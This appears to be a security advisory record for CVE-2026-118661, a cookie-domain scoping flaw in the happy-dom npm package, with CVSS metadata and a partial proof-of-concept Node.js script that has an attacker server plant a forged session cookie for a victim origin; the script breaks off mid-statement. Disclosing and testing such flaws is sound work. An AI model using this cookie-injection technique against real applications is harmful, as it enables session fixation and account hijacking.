MEDIUMCVSS v3.1 6.5Vulnerability

CVE-2026-118661

### Summary A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics. ### Details happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts. ### PoC Run: ```bash node poc-happydom-cookie-domain.js ``` Full proof-of-concept source (poc-happydom-cookie-domain.js): ```js // PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation // Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1) // -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1) // -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL) // -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie // Run: cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js const http = require('http'); const { Window } = require('happy-dom'); const ATK_PORT = 19311; // attacker server, 127.0.0.1 const VIC_PORT = 19312; // victim server, localhost let victimReceivedCookies = []; let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`; const attacker = http.createServer((req, res) => { if (req.method === 'OPTIONS') { // CORS preflight (happy-dom enforces same-origin policy with a preflight; the // attacker trivially answers it — an attacker-controlled server always can) res.writeHead(204, { 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Methods': 'GET, OPTIONS', 'Access-Control-Allow-Headers': '*' }); res.end(); return; } res.writeHead(200,

Properties

Severity
medium
Summary
Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies
Nvd fetched at
2026-10-28T23:43:43.157973+00:00
Cvss severity
MEDIUM
Cvss score
6.5
Retrieved at
2026-10-28T23:45:49+00:00
Ghsa published
2026-10-28T21:06:13Z
Source url
https://github.com/advisories/GHSA-5fpq-26gf-qwcr
Ghsa updated
2026-10-28T21:06:14Z
Ghsa id
GHSA-5fpq-26gf-qwcr
Last source
GitHub Advisory Database
Score
6.5
Cvss version
3.1
Cve id
CVE-2026-118661
Cvss vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
First seen by Signal
2026-10-28T23:44:40+00:00
Is ghsa only
false
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Published at
2026-10-28T21:16:56.267
Last modified
2026-10-28T21:16:56.267

Related Entities (3)

AFFECTS (1)

→[Software]npm/happy-dom

VULNERABLE_TO (1)

←[Software]npm/happy-dom

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